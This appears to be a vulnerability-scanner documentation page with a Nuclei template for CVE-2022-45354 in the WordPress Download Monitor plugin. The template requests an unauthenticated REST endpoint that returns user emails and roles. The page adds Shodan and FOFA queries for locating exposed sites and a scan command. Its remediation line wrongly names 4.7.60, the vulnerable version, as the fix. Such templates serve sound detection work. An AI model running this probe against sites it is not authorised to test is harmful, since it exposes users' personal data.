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Download Monitor <= 4.7.60 - Sensitive Information Exposure

ID: CVE-2022-45354

Severity: high

Author: DhiyaneshDK

Tags: cve,cve2022,wordpress,wp-plugin,download-monitor,wp,wpchill

Description

Section titled “Description”

The Download Monitor plugin for WordPress is vulnerable to Sensitive Information Exposure in versions up to, and including, 4.7.60 via REST API. This can allow unauthenticated attackers to extract sensitive data including user reports, download reports, and user data including email, role, id and other info (not passwords)

YAML Source

Section titled “YAML Source”
id: CVE-2022-45354


info:
  name: Download Monitor <= 4.7.60 - Sensitive Information Exposure
  author: DhiyaneshDK
  severity: high
  description: |
    The Download Monitor plugin for WordPress is vulnerable to Sensitive Information Exposure in versions up to, and including, 4.7.60 via REST API. This can allow unauthenticated attackers to extract sensitive data including user reports, download reports, and user data including email, role, id and other info (not passwords)
  impact: |
    An attacker can exploit this vulnerability to gain access to sensitive information, potentially leading to further attacks or unauthorized access.
  remediation: |
    Update to the latest version of the Download Monitor plugin (4.7.60) or apply the provided patch to fix the vulnerability.
  reference:
    - https://github.com/RandomRobbieBF/CVE-2022-45354
    - https://wordpress.org/plugins/download-monitor/
    - https://patchstack.com/database/vulnerability/download-monitor/wordpress-download-monitor-plugin-4-7-60-sensitive-data-exposure-vulnerability?_s_id=cve
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-45354
    epss-score: 0.00492
    epss-percentile: 0.7614
    cpe: cpe:2.3:a:wpchill:download_monitor:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wpchill
    product: download_monitor
    framework: wordpress
    shodan-query:
      - html:"/wp-content/plugins/download-monitor/"
      - http.html:"/wp-content/plugins/download-monitor/"
    fofa-query: body="/wp-content/plugins/download-monitor/"
  tags: cve,cve2022,wordpress,wp-plugin,download-monitor,wp,wpchill


http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-json/download-monitor/v1/user_data"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"registered":'
          - '"display_name":'
        condition: and


      - type: word
        part: header
        words:
          - application/json


      - type: status
        status:
          - 200
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Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-45354.yaml"

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